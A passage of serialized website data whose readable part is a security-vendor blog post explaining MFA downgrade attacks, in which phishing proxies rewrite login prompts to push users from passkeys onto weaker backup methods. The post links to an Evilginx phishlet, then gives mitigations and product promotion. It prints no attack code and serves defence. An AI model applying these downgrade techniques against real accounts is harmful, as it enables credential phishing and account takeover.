target":103140},{"sys":103141},{"id":99953,"type":909,"linkType":910},[],{"data":103144,"content":103145,"nodeType":866},{},[103146],{"data":103147,"marks":103148,"value":99961,"nodeType":865},{},[],{"data":103150,"content":103153,"nodeType":912},{"target":103151},{"sys":103152},{"id":99966,"type":909,"linkType":910},[],{"data":103155,"content":103156,"nodeType":866},{},[103157],{"data":103158,"marks":103159,"value":99974,"nodeType":865},{},[],{"data":103161,"content":103164,"nodeType":912},{"target":103162},{"sys":103163},{"id":99979,"type":909,"linkType":910},[],{"data":103166,"content":103167,"nodeType":866},{},[103168],{"data":103169,"marks":103170,"value":99987,"nodeType":865},{},[],{"data":103172,"content":103175,"nodeType":912},{"target":103173},{"sys":103174},{"id":99992,"type":909,"linkType":910},[],{"data":103177,"content":103178,"nodeType":866},{},[103179],{"data":103180,"marks":103181,"value":100000,"nodeType":865},{},[],{"data":103183,"content":103186,"nodeType":912},{"target":103184},{"sys":103185},{"id":100005,"type":909,"linkType":910},[],{"data":103188,"content":103189,"nodeType":972},{},[],{"data":103191,"content":103192,"nodeType":981},{},[103193],{"data":103194,"marks":103195,"value":100017,"nodeType":865},{},[103196],{"type":926},{"data":103198,"content":103199,"nodeType":866},{},[103200,103203,103210],{"data":103201,"marks":103202,"value":100024,"nodeType":865},{},[],{"data":103204,"content":103205,"nodeType":889},{"uri":8862},[103206],{"data":103207,"marks":103208,"value":8868,"nodeType":865},{},[103209],{"type":943},{"data":103211,"marks":103212,"value":100035,"nodeType":865},{},[],{"data":103214,"content":103217,"nodeType":912},{"target":103215},{"sys":103216},{"id":100040,"type":909,"linkType":910},[],{"data":103219,"content":103220,"nodeType":1317},{},[103221],{"data":103222,"marks":103223,"value":100049,"nodeType":865},{},[103224],{"type":926},{"data":103226,"content":103227,"nodeType":866},{},[103228,103231,103238],{"data":103229,"marks":103230,"value":100056,"nodeType":865},{},[],{"data":103232,"content":103233,"nodeType":889},{"uri":100059},[103234],{"data":103235,"marks":103236,"value":100065,"nodeType":865},{},[103237],{"type":943},{"data":103239,"marks":103240,"value":100069,"nodeType":865},{},[],{"data":103242,"content":103243,"nodeType":1317},{},[103244],{"data":103245,"marks":103246,"value":100077,"nodeType":865},{},[103247],{"type":926},{"data":103249,"content":103250,"nodeType":866},{},[103251,103254,103261,103264,103271],{"data":103252,"marks":103253,"value":100084,"nodeType":865},{},[],{"data":103255,"content":103256,"nodeType":889},{"uri":38042},[103257],{"data":103258,"marks":103259,"value":100092,"nodeType":865},{},[103260],{"type":943},{"data":103262,"marks":103263,"value":100096,"nodeType":865},{},[],{"data":103265,"content":103266,"nodeType":889},{"uri":100099},[103267],{"data":103268,"marks":103269,"value":100105,"nodeType":865},{},[103270],{"type":943},{"data":103272,"marks":103273,"value":100109,"nodeType":865},{},[],{"data":103275,"content":103276,"nodeType":866},{},[103277],{"data":103278,"marks":103279,"value":100116,"nodeType":865},{},[],{"data":103281,"content":103282,"nodeType":1317},{},[103283],{"data":103284,"marks":103285,"value":100124,"nodeType":865},{},[103286],{"type":926},{"data":103288,"content":103289,"nodeType":866},{},[103290,103293,103300],{"data":103291,"marks":103292,"value":96062,"nodeType":865},{},[],{"data":103294,"content":103295,"nodeType":889},{"uri":96065},[103296],{"data":103297,"marks":103298,"value":96071,"nodeType":865},{},[103299],{"type":943},{"data":103301,"marks":103302,"value":96075,"nodeType":865},{},[],{"data":103304,"content":103305,"nodeType":1317},{},[103306],{"data":103307,"marks":103308,"value":100148,"nodeType":865},{},[103309],{"type":926},{"data":103311,"content":103312,"nodeType":866},{},[103313,103316,103323],{"data":103314,"marks":103315,"value":100155,"nodeType":865},{},[],{"data":103317,"content":103318,"nodeType":889},{"uri":96164},[103319],{"data":103320,"marks":103321,"value":100163,"nodeType":865},{},[103322],{"type":943},{"data":103324,"marks":103325,"value":100167,"nodeType":865},{},[],{"data":103327,"content":103330,"nodeType":912},{"target":103328},{"sys":103329},{"id":100172,"type":909,"linkType":910},[],{"data":103332,"content":103333,"nodeType":972},{},[],{"data":103335,"content":103336,"nodeType":981},{},[103337],{"data":103338,"marks":103339,"value":37911,"nodeType":865},{},[103340],{"type":926},{"data":103342,"content":103343,"nodeType":866},{},[103344,103347,103354],{"data":103345,"marks":103346,"value":100190,"nodeType":865},{},[],{"data":103348,"content":103349,"nodeType":889},{"uri":937},[103350],{"data":103351,"marks":103352,"value":100198,"nodeType":865},{},[103353],{"type":943},{"data":103355,"marks":103356,"value":100202,"nodeType":865},{},[],{"data":103358,"content":103359,"nodeType":866},{},[103360],{"data":103361,"marks":103362,"value":100209,"nodeType":865},{},[],{"data":103364,"content":103367,"nodeType":912},{"target":103365},{"sys":103366},{"id":67359,"type":909,"linkType":910},[],{"data":103369,"content":103370,"nodeType":972},{},[],{"data":103372,"content":103373,"nodeType":981},{},[103374],{"data":103375,"marks":103376,"value":67289,"nodeType":865},{},[103377],{"type":926},{"data":103379,"content":103380,"nodeType":866},{},[103381,103384,103391],{"data":103382,"marks":103383,"value":67309,"nodeType":865},{},[],{"data":103385,"content":103386,"nodeType":889},{"uri":8862},[103387],{"data":103388,"marks":103389,"value":67317,"nodeType":865},{},[103390],{"type":943},{"data":103392,"marks":103393,"value":67321,"nodeType":865},{},[],{"data":103395,"content":103396,"nodeType":866},{},[103397],{"data":103398,"marks":103399,"value":85393,"nodeType":865},{},[],{"data":103401,"content":103402,"nodeType":866},{},[103403],{"data":103404,"marks":103405,"value":100253,"nodeType":865},{},[],{"data":103407,"content":103410,"nodeType":912},{"target":103408},{"sys":103409},{"id":100258,"type":909,"linkType":910},[],{"data":103412,"content":103413,"nodeType":866},{},[103414,103417,103424,103427,103434],{"data":103415,"marks":103416,"value":11372,"nodeType":865},{},[],{"data":103418,"content":103419,"nodeType":889},{"uri":11375},[103420],{"data":103421,"marks":103422,"value":11381,"nodeType":865},{},[103423],{"type":943},{"data":103425,"marks":103426,"value":53880,"nodeType":865},{},[],{"data":103428,"content":103429,"nodeType":889},{"uri":1372},[103430],{"data":103431,"marks":103432,"value":11405,"nodeType":865},{},[103433],{"type":943},{"data":103435,"marks":103436,"value":1615,"nodeType":865},{},[],{"items":103438},[103439,103441],{"sys":103440,"name":342},{"id":4642},{"sys":103442,"name":7796},{"id":7795},{"items":103444},[103445],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":103446},{"url":7804},{"__typename":1429,"sys":103448,"content":103450,"title":104104,"synopsis":104105,"hashTags":59,"publishedDate":104106,"slug":104107,"tagsCollection":104108,"authorsCollection":104114},{"id":103449},"7dqGkFzSMA00bIJ94rW4na",{"json":103451},{"data":103452,"content":103453,"nodeType":1382},{},[103454,103461,103468,103474,103499,103519,103522,103530,103537,103544,103552,103572,103575,103583,103590,103596,103603,103609,103612,103620,103627,103634,103657,103664,103697,103704,103712,103731,103738,103744,103771,103800,103808,103815,103822,103855,103858,103866,103885,103892,103915,103922,103928,103931,103939,103946,104070,104073,104080,104087],{"data":103455,"content":103456,"nodeType":866},{},[103457],{"data":103458,"marks":103459,"value":103460,"nodeType":865},{},[],"As awareness grows around many MFA methods being “phishable” (i.e. not phishing resistant), passwordless authentication methods are being increasingly advocated. ",{"data":103462,"content":103463,"nodeType":866},{},[103464],{"data":103465,"marks":103466,"value":103467,"nodeType":865},{},[],"This is a good thing. The most commonly used MFA factors (like SMS codes, push notifications, and app-based OTP) are routinely bypassed, with modern reverse-proxy phishing kits the most common method. ",{"data":103469,"content":103473,"nodeType":912},{"target":103470},{"sys":103471},{"id":103472,"type":909,"linkType":910},"ImwzE2R9qaHaqlWn0GqIa",[],{"data":103475,"content":103476,"nodeType":866},{},[103477,103481,103486,103490,103495],{"data":103478,"marks":103479,"value":103480,"nodeType":865},{},[],"Often referred to as a “passkey”, passwordless authentication typically consists of a hardware security device that is built-into your laptop (e.g. the fingerprint sensor on a laptop) or something you plug into your device (e.g. a Yubikey). Because passkey-based logins are domain-bound, trying to use a passkey for ",{"data":103482,"marks":103483,"value":103485,"nodeType":865},{},[103484],{"type":943},"microsoft.com",{"data":103487,"marks":103488,"value":103489,"nodeType":865},{},[]," on ",{"data":103491,"marks":103492,"value":103494,"nodeType":865},{},[103493],{"type":943},"phishing.com",{"data":103496,"marks":103497,"value":103498,"nodeType":865},{},[]," simply won’t generate the correct value to pass the authentication check, even when proxied using an AitM kit. ",{"data":103500,"content":103501,"nodeType":866},{},[103502,103506,103516],{"data":103503,"marks":103504,"value":103505,"nodeType":865},{},[],"However, attackers have realized that even as these new phishing-resistant methods are starting to become used, most users still have alternative MFA methods active. The attacker can then do what’s called a ",{"data":103507,"content":103509,"nodeType":889},{"uri":103508},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_downgrade/description.md",[103510],{"data":103511,"marks":103512,"value":103515,"nodeType":865},{},[103513,103514],{"type":943},{"type":926},"downgrade attack",{"data":103517,"marks":103518,"value":1615,"nodeType":865},{},[],{"data":103520,"content":103521,"nodeType":972},{},[],{"data":103523,"content":103524,"nodeType":981},{},[103525],{"data":103526,"marks":103527,"value":103529,"nodeType":865},{},[103528],{"type":926},"Downgrade attacks 101",{"data":103531,"content":103532,"nodeType":866},{},[103533],{"data":103534,"marks":103535,"value":103536,"nodeType":865},{},[],"When conducting an Attacker-in-the-Middle phishing attack, the attacker doesn’t need to relay 100% of the messages accurately. Instead, they can alter some of them. The app might ask the user “You need to MFA — do you want to use your passkey, or your backup authenticator code?”, but the phishing website might modify this page to say “You need to MFA — use your backup authenticator code” not giving you the option to use your secure passkey. This is called a downgrade attack.",{"data":103538,"content":103539,"nodeType":866},{},[103540],{"data":103541,"marks":103542,"value":103543,"nodeType":865},{},[],"This can also be applied to accounts that use SSO as the default login method. In this scenario, the phish kit can select a backup username and password option to allow the phishing attack to proceed.  ",{"data":103545,"content":103546,"nodeType":866},{},[103547],{"data":103548,"marks":103549,"value":103551,"nodeType":865},{},[103550],{"type":926},"So, you have a situation where even if a phishing-resistant login method exists, the presence of a less secure backup method means the account is still vulnerable to phishing attacks. ",{"data":103553,"content":103554,"nodeType":866},{},[103555,103559,103568],{"data":103556,"marks":103557,"value":103558,"nodeType":865},{},[],"These attacks are effective across a number of sites and login methods that support passkey-based logins, for example, Windows Hello, Okta FastPass, and Google Workspace. As an example, here’s a link to a ",{"data":103560,"content":103562,"nodeType":889},{"uri":103561},"https://github.com/yudasm/WHfB-o365-Phishlet",[103563],{"data":103564,"marks":103565,"value":103567,"nodeType":865},{},[103566],{"type":943},"custom phishlet for Evilginx",{"data":103569,"marks":103570,"value":103571,"nodeType":865},{},[]," targeting Windows Hello for Business. A small caveat is that changes made by Microsoft have since broken this plugin, but we were able to write our own custom phishlet to achieve the same outcome. ",{"data":103573,"content":103574,"nodeType":972},{},[],{"data":103576,"content":103577,"nodeType":981},{},[103578],{"data":103579,"marks":103580,"value":103582,"nodeType":865},{},[103581],{"type":926},"MFA downgrade in action",{"data":103584,"content":103585,"nodeType":866},{},[103586],{"data":103587,"marks":103588,"value":103589,"nodeType":865},{},[],"Check out the video below to see an example of using Evilginx with a custom phishlet to downgrade authentication for a Microsoft account using Windows Hello. ",{"data":103591,"content":103595,"nodeType":912},{"target":103592},{"sys":103593},{"id":103594,"type":909,"linkType":910},"54I3YQ2gK26a8FIocQ3WYT",[],{"data":103597,"content":103598,"nodeType":866},{},[103599],{"data":103600,"marks":103601,"value":103602,"nodeType":865},{},[],"We’ve encountered similar functionality in criminal phishing platforms we’ve investigated such as Tycoon — in this case, targeting Google accounts. This snippet is notable in that it includes JavaScript to abuse UI features to bypass passkeys.",{"data":103604,"content":103608,"nodeType":912},{"target":103605},{"sys":103606},{"id":103607,"type":909,"linkType":910},"5Vya1VApSisr0000HuTLY2",[],{"data":103610,"content":103611,"nodeType":972},{},[],{"data":103613,"content":103614,"nodeType":981},{},[103615],{"data":103616,"marks":103617,"value":103619,"nodeType":865},{},[103618],{"type":926},"Mitigations (and challenges)",{"data":103621,"content":103622,"nodeType":866},{},[103623],{"data":103624,"marks":103625,"value":103626,"nodeType":865},{},[],"MFA downgrade is made possible by the existence of backup authentication methods. So the obvious solution is to remove backup/unused login and MFA methods from your accounts, ensuring you’re accessing apps using SSO from a hardened Identity Provider (IdP) account (e.g. Okta, Entra, Google Workspace). ",{"data":103628,"content":103629,"nodeType":866},{},[103630],{"data":103631,"marks":103632,"value":103633,"nodeType":865},{},[],"In the ideal world, you’d be:",{"data":103635,"content":103636,"nodeType":1616},{},[103637,103647],{"data":103638,"content":103639,"nodeType":1570},{},[103640],{"data":103641,"content":103642,"nodeType":866},{},[103643],{"data":103644,"marks":103645,"value":103646,"nodeType":865},{},[],"Using only one IdP account, which you access via passkey, with no backup methods.",{"data":103648,"content":103649,"nodeType":1570},{},[103650],{"data":103651,"content":103652,"nodeType":866},{},[103653],{"data":103654,"marks":103655,"value":103656,"nodeType":865},{},[],"Accessing all business apps using SSO from your locked-down IdP account. ",{"data":103658,"content":103659,"nodeType":866},{},[103660],{"data":103661,"marks":103662,"value":103663,"nodeType":865},{},[],"The reality is way different, though. Because going totally passwordless is hard. It requires a large investment of time, money, and training for end-users. You’ll find many cautionary tales of companies starting on their passkey adoption journey and ultimately failing to make it a reality. This is largely because:",{"data":103665,"content":103666,"nodeType":1616},{},[103667,103677,103687],{"data":103668,"content":103669,"nodeType":1570},{},[103670],{"data":103671,"content":103672,"nodeType":866},{},[103673],{"data":103674,"marks":103675,"value":103676,"nodeType":865},{},[],"In environments with a mix of older and newer infrastructure, it can be challenging to get complete coverage. ",{"data":103678,"content":103679,"nodeType":1570},{},[103680],{"data":103681,"content":103682,"nodeType":866},{},[103683],{"data":103684,"marks":103685,"value":103686,"nodeType":865},{},[],"Not every device comes with an in-built biometric identification method, so you need to use a second device — which employees may struggle with (especially when they lose it and aren’t familiar with how to regain account access).",{"data":103688,"content":103689,"nodeType":1570},{},[103690],{"data":103691,"content":103692,"nodeType":866},{},[103693],{"data":103694,"marks":103695,"value":103696,"nodeType":865},{},[],"Most apps don’t allow you to log in directly with a passkey, meaning you need to SSO from your IdP account. But many apps don’t support every preferred SSO provider, and fail to provide SAML support, so there can be gaps.  ",{"data":103698,"content":103699,"nodeType":866},{},[103700],{"data":103701,"marks":103702,"value":103703,"nodeType":865},{},[],"And ultimately, because of the self-service, product-led growth fuelled nature of most online services today, it’s easy for users to slip back into using passwords — and hard for security teams to find and remove them (particularly if an app isn’t centrally managed). And the level of support that different apps provide users and administrators to secure how they access their services varies significantly. ",{"data":103705,"content":103706,"nodeType":1317},{},[103707],{"data":103708,"marks":103709,"value":103711,"nodeType":865},{},[103710],{"type":926},"Most apps make removing phishable authentication hard",{"data":103713,"content":103714,"nodeType":866},{},[103715,103719,103727],{"data":103716,"marks":103717,"value":103718,"nodeType":865},{},[],"While some providers are taking steps to go passwordless by default, which makes it easier to remove passwords (e.g. ",{"data":103720,"content":103722,"nodeType":889},{"uri":103721},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/introducing-password-removal-for-microsoft-accounts/2747280",[103723],{"data":103724,"marks":103725,"value":8641,"nodeType":865},{},[103726],{"type":943},{"data":103728,"marks":103729,"value":103730,"nodeType":865},{},[]," recently made a big deal of its desire to get rid of passwords), the quality of identity security management functionality varies significantly from app to app. ",{"data":103732,"content":103733,"nodeType":866},{},[103734],{"data":103735,"marks":103736,"value":103737,"nodeType":865},{},[],"Many apps default to the most recently used or strongest login method, but very few automatically lock you in to using the strongest method available. Most of the time, these kinds of controls also need to be configured in the app — which can be challenging if your security team doesn’t manage it (or simply isn’t aware of it). ",{"data":103739,"content":103743,"nodeType":912},{"target":103740},{"sys":103741},{"id":103742,"type":909,"linkType":910},"4X9MR0CbSMltOmw767XNOm",[],{"data":103745,"content":103746,"nodeType":866},{},[103747,103751,103756,103760,103767],{"data":103748,"marks":103749,"value":103750,"nodeType":865},{},[],"Finally, configuring MFA is often an additive process — you start by adding a phone number, then you add an authenticator app or a passkey. Just like we find that most accounts with SSO ",{"data":103752,"marks":103753,"value":103755,"nodeType":865},{},[103754],{"type":926},"also",{"data":103757,"marks":103758,"value":103759,"nodeType":865},{},[]," have a password login configured (also known as ",{"data":103761,"content":103762,"nodeType":889},{"uri":53259},[103763],{"data":103764,"marks":103765,"value":6715,"nodeType":865},{},[103766],{"type":943},{"data":103768,"marks":103769,"value":103770,"nodeType":865},{},[],"), most accounts with MFA typically have multiple methods attached to their account. ",{"data":103772,"content":103773,"nodeType":866},{},[103774,103778,103785,103788,103796],{"data":103775,"marks":103776,"value":103777,"nodeType":865},{},[],"The result is that even if you can successfully lock down a handful of apps, many more will continue to be susceptible to phishing attacks using commonly available downgrade functionality. And as attackers diversify the apps they target (such as these recent examples targeting ",{"data":103779,"content":103780,"nodeType":889},{"uri":70881},[103781],{"data":103782,"marks":103783,"value":70887,"nodeType":865},{},[103784],{"type":943},{"data":103786,"marks":103787,"value":4988,"nodeType":865},{},[],{"data":103789,"content":103790,"nodeType":889},{"uri":13768},[103791],{"data":103792,"marks":103793,"value":103795,"nodeType":865},{},[103794],{"type":943},"MailChimp",{"data":103797,"marks":103798,"value":103799,"nodeType":865},{},[],"), this becomes increasingly likely. ",{"data":103801,"content":103802,"nodeType":1317},{},[103803],{"data":103804,"marks":103805,"value":103807,"nodeType":865},{},[103806],{"type":926},"Conditional access is a useful mitigation if configured properly, but only on apps which support it",{"data":103809,"content":103810,"nodeType":866},{},[103811],{"data":103812,"marks":103813,"value":103814,"nodeType":865},{},[],"Conditional access policies are a useful last line of defense against account takeover attacks by denying logins that don't meet certain criteria, even if they user is able to authenticate. In larger IdP platforms that typically support more granular conditional access policies, this is a useful addition when configured correctly. However, many apps simply don't support conditional access, so will be vulnerable to attackers targeting them directly (as opposed to first logging into e.g. Microsoft or Google, and then accessing downstream apps via SSO). ",{"data":103816,"content":103817,"nodeType":866},{},[103818],{"data":103819,"marks":103820,"value":103821,"nodeType":865},{},[],"That said, locking down your core IdP platforms with robust conditional access should be a top priority for security teams. Useful policies that should be configured include:",{"data":103823,"content":103824,"nodeType":1616},{},[103825,103835,103845],{"data":103826,"content":103827,"nodeType":1570},{},[103828],{"data":103829,"content":103830,"nodeType":866},{},[103831],{"data":103832,"marks":103833,"value":103834,"nodeType":865},{},[],"Limiting logins to domain-joined devices.",{"data":103836,"content":103837,"nodeType":1570},{},[103838],{"data":103839,"content":103840,"nodeType":866},{},[103841],{"data":103842,"marks":103843,"value":103844,"nodeType":865},{},[],"Set phishing-resistant MFA as required. ",{"data":103846,"content":103847,"nodeType":1570},{},[103848],{"data":103849,"content":103850,"nodeType":866},{},[103851],{"data":103852,"marks":103853,"value":103854,"nodeType":865},{},[],"(Where possible) limit logins to trusted IP ranges. ",{"data":103856,"content":103857,"nodeType":972},{},[],{"data":103859,"content":103860,"nodeType":981},{},[103861],{"data":103862,"marks":103863,"value":103865,"nodeType":865},{},[103864],{"type":926},"Tackling MFA downgrade with Push Security",{"data":103867,"content":103868,"nodeType":866},{},[103869,103873,103881],{"data":103870,"marks":103871,"value":103872,"nodeType":865},{},[],"Phishing-resistant authentication methods like passkeys are key to the future of enterprise identity security, but organizations need to recognize that adopting passkeys isn’t a silver bullet. Ensuring that passkeys are the only authentication method supported by your business apps is no mean feat, considering ",{"data":103874,"content":103875,"nodeType":889},{"uri":6698},[103876],{"data":103877,"marks":103878,"value":103880,"nodeType":865},{},[103879],{"type":943},"most organizations are using hundreds of them",{"data":103882,"marks":103883,"value":103884,"nodeType":865},{},[]," — all with their own specific ways of handling and administering identities. ",{"data":103886,"content":103887,"nodeType":866},{},[103888],{"data":103889,"marks":103890,"value":103891,"nodeType":865},{},[],"That’s why we support a layered defense, providing last-mile protection by:",{"data":103893,"content":103894,"nodeType":1616},{},[103895,103905],{"data":103896,"content":103897,"nodeType":1570},{},[103898],{"data":103899,"content":103900,"nodeType":866},{},[103901],{"data":103902,"marks":103903,"value":103904,"nodeType":865},{},[],"Intercepting and blocking phishing attacks in the browser to prevent AiTM attacks using downgrade techniques.",{"data":103906,"content":103907,"nodeType":1570},{},[103908],{"data":103909,"content":103910,"nodeType":866},{},[103911],{"data":103912,"marks":103913,"value":103914,"nodeType":865},{},[],"Identifying backup MFA and login methods across the business apps your employees use, so they can be removed (individually or through app-level configuration changes).",{"data":103916,"content":103917,"nodeType":866},{},[103918],{"data":103919,"marks":103920,"value":103921,"nodeType":865},{},[],"Here’s how it works.",{"data":103923,"content":103927,"nodeType":912},{"target":103924},{"sys":103925},{"id":103926,"type":909,"linkType":910},"2uvItnfaOQZHa4a9BIIhRn",[],{"data":103929,"content":103930,"nodeType":972},{},[],{"data":103932,"content":103933,"nodeType":981},{},[103934],{"data":103935,"marks":103936,"value":103938,"nodeType":865},{},[103937],{"type":926},"Further reading",{"data":103940,"content":103941,"nodeType":866},{},[103942],{"data":103943,"marks":103944,"value":103945,"nodeType":865},{},[],"MFA downgrade is just one method of getting into an otherwise locked-down account. Attackers are also finding ways to bypass the standard authentication process entirely, through: ",{"data":103947,"content":103948,"nodeType":1616},{},[103949,103983,104016,104036],{"data":103950,"content":103951,"nodeType":1570},{},[103952],{"data":103953,"content":103954,"nodeType":866},{},[103955,103958,103967,103971,103980],{"data":103956,"marks":103957,"value":21,"nodeType":865},{},[],{"data":103959,"content":103961,"nodeType":889},{"uri":103960},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/app_specific_password_phishing/description.md",[103962],{"data":103963,"marks":103964,"value":103966,"nodeType":865},{},[103965],{"type":943},"App-specific password phishing",{"data":103968,"marks":103969,"value":103970,"nodeType":865},{},[],", where attackers can abuse functionality designed to enable users to log into apps that don’t support modern authentication. (",{"data":103972,"content":103974,"nodeType":889},{"uri":103973},"https://pushsecurity.com/blog/app-specific-password-phishing/",[103975],{"data":103976,"marks":103977,"value":103979,"nodeType":865},{},[103978],{"type":943},"Read the article for more information here",{"data":103981,"marks":103982,"value":46245,"nodeType":865},{},[],{"data":103984,"content":103985,"nodeType":1570},{},[103986],{"data":103987,"content":103988,"nodeType":866},{},[103989,103992,103999,104003,104012],{"data":103990,"marks":103991,"value":21,"nodeType":865},{},[],{"data":103993,"content":103994,"nodeType":889},{"uri":56197},[103995],{"data":103996,"marks":103997,"value":84010,"nodeType":865},{},[103998],{"type":943},{"data":104000,"marks":104001,"value":104002,"nodeType":865},{},[],", which sees the victim accept OAuth scopes for an attacker-controlled app integration granting access to the account without needing to directly compromise it. (",{"data":104004,"content":104006,"nodeType":889},{"uri":104005},"https://pushsecurity.com/blog/how-consent-phishing-is-evolving/",[104007],{"data":104008,"marks":104009,"value":104011,"nodeType":865},{},[104010],{"type":943},"You can read more about recent examples here",{"data":104013,"marks":104014,"value":104015,"nodeType":865},{},[],".) ",{"data":104017,"content":104018,"nodeType":1570},{},[104019],{"data":104020,"content":104021,"nodeType":866},{},[104022,104025,104032],{"data":104023,"marks":104024,"value":21,"nodeType":865},{},[],{"data":104026,"content":104027,"nodeType":889},{"uri":8450},[104028],{"data":104029,"marks":104030,"value":360,"nodeType":865},{},[104031],{"type":943},{"data":104033,"marks":104034,"value":104035,"nodeType":865},{},[],", functionally very similar to consent phishing but involving the victim entering a code for authorization. ",{"data":104037,"content":104038,"nodeType":1570},{},[104039],{"data":104040,"content":104041,"nodeType":866},{},[104042,104045,104053,104057,104066],{"data":104043,"marks":104044,"value":21,"nodeType":865},{},[],{"data":104046,"content":104048,"nodeType":889},{"uri":104047},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/cross-idp_impersonation/description.md",[104049],{"data":104050,"marks":104051,"value":97584,"nodeType":865},{},[104052],{"type":943},{"data":104054,"marks":104055,"value":104056,"nodeType":865},{},[],", which sees the attacker register a new IdP connected to the victim’s email account that can be used to access connected apps via SSO without directly compromising the primary IdP. (",{"data":104058,"content":104060,"nodeType":889},{"uri":104059},"https://pushsecurity.com/blog/a-new-class-of-phishing-verification-phishing-and-cross-idp-impersonation/",[104061],{"data":104062,"marks":104063,"value":104065,"nodeType":865},{},[104064],{"type":943},"You can read more about this here",{"data":104067,"marks":104068,"value":104069,"nodeType":865},{},[],".)",{"data":104071,"content":104072,"nodeType":972},{},[],{"data":104074,"content":104075,"nodeType":981},{},[104076],{"data":104077,"marks":104078,"value":34483,"nodeType":865},{},[104079],{"type":926},{"data":104081,"content":104082,"nodeType":866},{},[104083],{"data":104084,"marks":104085,"value":104086,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use, like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more.",{"data":104088,"content":104089,"nodeType":866},{},[104090,104094,104101],{"data":104091,"marks":104092,"value":104093,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":104095,"content":104096,"nodeType":889},{"uri":16069},[104097],{"data":104098,"marks":104099,"value":11405,"nodeType":865},{},[104100],{"type":943},{"data":104102,"marks":104103,"value":1615,"nodeType":865},{},[],"MFA downgrade: How attackers are getting around phishing-resistant authentication","MFA downgrade attacks are an increasingly common technique used by attackers to bypass phishing-resistant authentication methods registered to an account.","2025-07-21T00:00:00.000Z","mfa-downgrade-attacks",{"items":104109},[104110,104112],{"sys":104111,"name":342},{"id":4642},{"sys":104113,"name":7796},{"id":7795},{"items":104115},[104116],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":104117},{"url":11425},"blog/scattered-lapsus-hunters",{"json":104120},{"data":104121,"content":104122,"nodeType":1382},{},[104123],{"data":104124,"content":104125,"nodeType":866},{},[104126],{"data":104127,"marks":104128,"value":104129,"nodeType":865},{},[],"In this blog post, we’ll be taking a closer look at the breaches linked to Scattered Lapsus$ Hunters, the evolution of TTPs that makes them so successful, and how they’re shaping the current and next generation of cyber criminals.",{"id":52948,"publishedAt":104131},"2026-08-12T11:53:35.368Z",{"items":104133},[104134,104136],{"sys":104135,"name":7796},{"id":7795},{"sys":104137,"name":342},{"id":4642},{"items":104139},[104140,104142,104144,104146,104148,104150,104152,104154,104156,104158,104160,104162,104164,104166,104168],{"sys":104141,"name":279,"slug":280,"tier":31},{"id":276},{"sys":104143,"name":413,"slug":414,"tier":31},{"id":410},{"sys":104145,"name":642,"slug":643,"tier":31},{"id":639},{"sys":104147,"name":650,"slug":651,"tier":45},{"id":647},{"sys":104149,"name":261,"slug":262,"tier":45},{"id":258},{"sys":104151,"name":404,"slug":405,"tier":45},{"id":401},{"sys":104153,"name":537,"slug":538,"tier":45},{"id":534},{"sys":104155,"name":333,"slug":334,"tier":45},{"id":330},{"sys":104157,"name":607,"slug":608,"tier":45},{"id":604},{"sys":104159,"name":484,"slug":485,"tier":45},{"id":481},{"sys":104161,"name":288,"slug":289,"tier":45},{"id":285},{"sys":104163,"name":422,"slug":423,"tier":45},{"id":419},{"sys":104165,"name":571,"slug":572,"tier":45},{"id":568},{"sys":104167,"name":528,"slug":529,"tier":45},{"id":525},{"sys":104169,"name":395,"slug":396,"tier":45},{"id":392},"cPGKjifHC8Xc0ke0Qls0IvBKrqcQS7B54QT7CK7Q1JI",{"id":104172,"title":100286,"authorsCollection":104173,"content":104178,"extension":228,"faqItemsCollection":104655,"faqTitle":59,"featured":6,"hashTags":59,"meta":104657,"metaTitle":104658,"ogImage":59,"postType":42959,"publishedDate":100288,"relatedBlogPostsCollection":104659,"slug":100289,"stem":106235,"subtitle":59,"summary":106236,"synopsis":100287,"sys":106247,"tagsCollection":106249,"topicsCollection":106255,"__hash__":106279},"blog/blog/new-phishing-campaign-identified-targeting-linkedin-users.json",{"items":104174},[104175],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":104176,"profilePicture":104177},[30152],{"url":7804},{"json":104179,"links":104558},{"data":104180,"content":104181,"nodeType":1382},{},[104182,104198,104211,104216,104222,104228,104231,104238,104253,104259,104264,104270,104275,104281,104286,104292,104297,104303,104308,104311,104318,104334,104339,104346,104362,104369,104395,104401,104408,104424,104431,104447,104452,104455,104462,104478,104484,104489,104492,104499,104515,104521,104527,104532],{"data":104183,"content":104184,"nodeType":866},{},[104185,104188,104195],{"data":104186,"marks":104187,"value":99866,"nodeType":865},{},[],{"data":104189,"content":104190,"nodeType":889},{"uri":8862},[104191],{"data":104192,"marks":104193,"value":8868,"nodeType":865},{},[104194],{"type":943},{"data":104196,"marks":104197,"value":14251,"nodeType":865},{},[],{"data":104199,"content":104200,"nodeType":866},{},[104201,104204,104208],{"data":104202,"marks":104203,"value":99883,"nodeType":865},{},[],{"data":104205,"marks":104206,"value":99888,"nodeType":865},{},[104207],{"type":926},{"data":104209,"marks":104210,"value":99892,"nodeType":865},{},[],{"data":104212,"content":104215,"nodeType":912},{"target":104213},{"sys":104214},{"id":99897,"type":909,"linkType":910},[],{"data":104217,"content":104218,"nodeType":866},{},[104219],{"data":104220,"marks":104221,"value":99905,"nodeType":865},{},[],{"data":104223,"content":104224,"nodeType":866},{},[104225],{"data":104226,"marks":104227,"value":99912,"nodeType":865},{},[],{"data":104229,"content":104230,"nodeType":972},{},[],{"data":104232,"content":104233,"nodeType":981},{},[104234],{"data":104235,"marks":104236,"value":99923,"nodeType":865},{},[104237],{"type":926},{"data":104239,"content":104240,"nodeType":866},{},[104241,104244,104250],{"data":104242,"marks":104243,"value":99930,"nodeType":865},{},[],{"data":104245,"content":104246,"nodeType":889},{"uri":99933},[104247],{"data":104248,"marks":104249,"value":99938,"nodeType":865},{},[],{"data":104251,"marks":104252,"value":2688,"nodeType":865},{},[],{"data":104254,"content":104255,"nodeType":866},{},[104256],{"data":104257,"marks":104258,"value":99948,"nodeType":865},{},[],{"data":104260,"content":104263,"nodeType":912},{"targ